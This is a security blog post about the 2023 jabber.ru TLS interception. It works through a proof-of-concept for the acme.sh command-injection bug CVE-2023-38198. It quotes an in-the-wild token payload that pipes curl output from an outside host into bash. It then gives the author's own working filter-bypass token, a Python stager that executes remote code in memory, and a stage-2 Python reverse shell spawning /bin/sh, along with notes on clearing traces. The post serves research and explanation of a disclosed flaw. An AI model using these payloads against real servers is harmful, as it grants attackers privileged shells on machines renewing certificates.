Transport Layer Security (TLS) is the protocol involved in getting the lock icon to appear in your browser next to the URL. Under the hood it uses a bunch of really cool numbers for encryption. Some numbers are considered private and need securing; some are considered public and are fine for sharing. You can mix your numbers with other people’s numbers in such a way that you can verify a chain of trust. Ultimately, at the top of this chain there has to be an entity or entities that are implied to be trustworthy, so that the links further down the chain of numbers can inherit that trust. This is the role of a root Certificate Authority (CA) at the top (root) of the chain.

There is, of course, a lot of nuance and detail missing from this high-level explanation of TLS and CA trust, but rest assured that understanding how things are supposed to work bears little influence on the ability to simply do things anyway.

As a baseline, TLS wiretapping (presumably lawful) with root-CA-signed certificates is a thing that both happens and verifiably has happened.

• Encrypted traffic interception on Hetzner and Linode targeting the largest Russian XMPP (Jabber) messaging service (2023)

This being a fact rather than a conspiracy theory tends to upset people. Meanwhile, if you understand the mechanics at play, it’s objectively very funny that someone likely forgot to renew the TLS certificate for a lawful intercept, resulting in a huge warning page for users and ultimately prompting the detailed investigation seen in the link above. It’s a rather amusing way to burn an operation.

In this blog, we’ll exercise the benefit that hindsight is 20/20 and further suspend our expectations of how TLS is supposed to work. We’ll take a look at the analysis, the recommendations, and the factors in the larger system that was the year 2023, to attempt to answer how it actually could have worked, with a demonstration.

Analysis

The analysis blog on valdikss.org is extremely detailed, which is particularly useful since these things are almost exclusively only ever seen when an operational mistake occurs. I can’t “read” in the traditional left-to-right sense; it’s more like a smattering of a word cloud, and I’ve got 30+ years of experience correctly guessing the order. Allow me to demonstrate the value of that visually as we read through an analysis.

Big things are easy to guess the relevance of, but if the mystery were obvious it wouldn’t be a mystery. The devil’s in the details, and acme.sh (with the arrow pointing to it) is very small.

When you process information this way, you lose the ordering of relevance. I typically skim a document deliberately, looking for numbers indicative of time so I can put it together in my head.

The core takeaways: look for events around April 18th, 2023 that may involve acme.sh (that’s a pretty clear missing piece) and note the things that happened afterward.

acme.sh

Remember that chain-of-trust example from the start of the article? ACME is a protocol used to establish trust for the issuance and renewal of TLS certificates from certificate authorities. acme.sh is a shell-script executable that helps automate that process using the ACME protocol. acme.sh is what was running on the jabber.ru server to facilitate their TLS certificate renewals. Typically these run on a timer that calls out and renews a certificate before it expires.

Notable events related to acme.sh around April 18th, 2023 include a remote code execution vulnerability disclosed on June 8th, 2023, eventually assigned CVE ID CVE-2023-38198. A patched release was available on Jun 9th, 2023. The jabber.ru server, running acme.sh on April 18th, would have been using a version vulnerable to this exploit.

That seems potentially relevant!

CVE-2023-38198

In the GitHub issue that first disclosed the vulnerability, it was noted that this was being abused by a certificate authority, “HiCA”, to… issue a certificate. Across all the observed activity in the GitHub issue, you’ll see the chaos that is shell interpolation and dancing around forbidden/filtered characters to do the desired thing the wrong way.

There are lots of useful goodies there, but even the examples given are in fact “broken” for the purpose of reproducing this vulnerability. The nature of the vulnerability is such that the crux of the issue lies between the data on the wire and the representation of that data when processed by the ACME client, including for logging/debug purposes. So while what we see in the debug logs will be close to the original, there has to be stuff missing.

@mholt - It turns out that the Challenge objects look unusual. Here’s a lightly-formatted example:

{
    Type: http-01
    URL: ../pki-validation
    Status: pending
    Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#
    KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.GfCBN3dYnfNB-Hj1nBYek89o9ohtt9K59uacS13wigw
}

Something close to the above payload does some stuff, which results in some more stuff, which looks like this:

This final screenshot is non-standard for ACME but benign in nature. It’s simply facilitating PKI validation, which is a step in issuing a certificate. This happily answers the observed intention of HiCA abusing this vulnerability, but does little to answer “how”.

How

We know the vulnerability deals with:

• ACME challenge type http-01
• • It’s in the payload
• Some form of command injection
• • The whole ACME client is a shell script
• The vulnerability exists in the Token
• • That’s where all the nonsense is located
• Some characters aren’t allowed
• • Clearly spaces aren’t allowed; it’s nested and packed into one line

By making some light modifications to an ACME server, I began toying around with and minifying the payload from the GitHub issue, trying to figure out how to get it to work. After two nights, I gave up. I could not get the redefinition of the Input Field Separator as IFS=^ to work in any manner whatsoever. As-is, there are so many pre-processing layers involved in ACME that you simply can’t use it that way to gain remote code execution. Generically, the IFS trick is what allows packing a nested command into the Token field with no spaces (which also aren’t allowed) in the first place.

I remain confident that either:

• I’m an idiot who can’t figure out how to get the a simple IFS trick past the filters, or
• HiCA was actively figuring out/changing the payloads over the course of the timeline in the GitHub issue.

At least one, possibly both, are true. It is worth noting that I see IFS tricks most commonly abused by botnet operators, such as Mirai variants. It makes me wonder why someone at HiCA, a company dealing with security, was so well versed in IFS filter bypass tricks, only to use them to do the exact benign expected thing anyway.

But then again, I’m also a “good guy” who’s about to do the same thing they did, and being an idiot has never stopped me before.

DIY

As best as I can tell, the token response listed in the GitHub is attempting to redefine the IFS as ^, which didn’t work on any system I tried, or any variation I attempted, and also didn’t pass through field parsing of acme.sh

Even though I couldn’t reproduce it, the intended mechanism appears to be:

# Set Input Field separator to ^ for top level interpreter, using ; to avoid using spaces
IFS=^;
# Define a variable "cmd" as "base64 -d" using the new IFS
cmd=base64^-d;
# Redirect a base64 encoded space " " character into "cmd" to produce a space
$cmd<<<IA==
# Redirect base64 encoded "://" to produce those characters for the preceding curl
$cmd<<<Oi8v

These 3 tricks, ideally wrapped in the correct sequence of backticks and $() allow them to create and use characters several layers down of interpretation and parsing that otherwise break acme.sh ACME issuance flow.

Again, squinting VERY hard at the HiCA developer who put in the effort to develop this.

Regardless, it doesn’t work on my machine(s), but clearly a version at some time (potentially not recorded on the GitHub issue) did in fact work.

Employing the same nested lifting of whitespace to encode shell commands to pass the filter, I came up with:

{
    Type: http-01
    URL: ../pki-validation
    Status: pending
    Token: dd##http-01#/tmp/$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)#
}

The trick here is echo|nl, for which echo produces a single \n whitespace character, and nl reads that character, and produces that character. This produces a single whitespace character without using any whitespace characters, for which we can craft a shell command.

Unpacking it is much simpler:

# Base64 decode a string and pipe it to python3 STDIN
$(echo aW1w... | base64 -d | python3)

The contents of the base64 are the golfed python code (made as small as possible). Base64 encoding to avoid spaces means the result becomes ~33% larger.

And that becomes quite the problem due to the fact that the maximum length of a file path component in linux is typically 255 bytes and this vulnerability requires putting the exploit code in the filename itself, instead of in the file. Exceeding 255 bytes results in the filesystem itself rejecting the exploit.

remy@bigboi:~$ ls /tmp
'$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)'

Hence, code golfing. I did the easy thing and just wrote a simple stager that connects back to my server, reads 4096 bytes, and executes the python code entirely in memory.

import socket as s;a=s.socket(s.AF_INET,s.SOCK_STREAM);a.connect(("127.0.0.1",9999));exec(a.recv(4096)); 

On my server, I pipe a typical python reverse shell into the interpreter, which catches the shell on another port.

# Stage 2
socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",10000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

In practice, certificates are considered sensitive and the various ACME clients like acme.sh are run with elevated privileges. When the server at “victim.com” attempts to issue a new certificate from “totally-legit-ca.com”, we land a privileged reverse shell.

The acme.sh client hangs indefinitely not triggering any errors and the only suspicious thing that can be seen is a standard python3 interpreter. With a privileged shell, it’s quite easy to clean up the “exploit in a filename” from /tmp, or just leave it there. The /tmp directory is typically cleared on system reboot which would remove all artifacts.

Process tree:

sh ./acme.sh ... (PID 124643)
  └─ python3 (PID 124647)

The only remaining piece needed for successful exploitation is to control the routing of the network for the ACME client and CA responses, for which that aspect is thoroughly covered in the valdikss.org blog and is trivial to do in many forms. Basically, that’s a large part of why TLS and certificates exist as part of the internet ecosystem in the first place.

Summary

A presumed lawful operation occurred that involved covertly redirecting network traffic, issued multiple fraudulent CA signed certificates that appeared in publicly auditable certificate transparency logs, and got caught because they forgot to renew a certificate or cleanly tear down their interception. There was simultaneously a covert remote code execution vulnerability that was readily available and actively being abused by another actor. This would have allowed the wiretappers to make copies of pre-existing certificates for use in TLS interception and produce no artifacts at all.

We will likely never know the specifics of exactly what occurred with the CA signed TLS wiretapping of jabber.ru. The timeline I’ve provided and proof-of-concept exploit I’ve demonstrated serve to show that while the ACME protocol itself has rigor, the software running the protocols will always be the weakest link. There remain more vulnerabilities in ACME clients to this day; looking out at my graveyard of tech devices I’ve reverse engineered over the years, I know this to be a fact. These vulnerabilities remain unreachable barring a malicious CA or full influence of network routing, but they also exist in a space that would go completely unnoticed and attributed to myth and legend unless the operator of the interception got a bit… sloppy, with something that is quite trivial to execute on if you have the resources and positioning.

Following this incident there was a very well-thought-out blog about how to mitigate this sort of attack in the future:

• https://www.devever.net/~hl/xmpp-incident

“As such, it’s useful to consider what a more competent nation-state adversary (whom I’ll name Mallory for our purposes) would do. Here, I’ll assume that Mallory can do anything other than actually compromise the victim machine itself or its operator (which is not a good assumption, but bear with it)” - Hugo Landau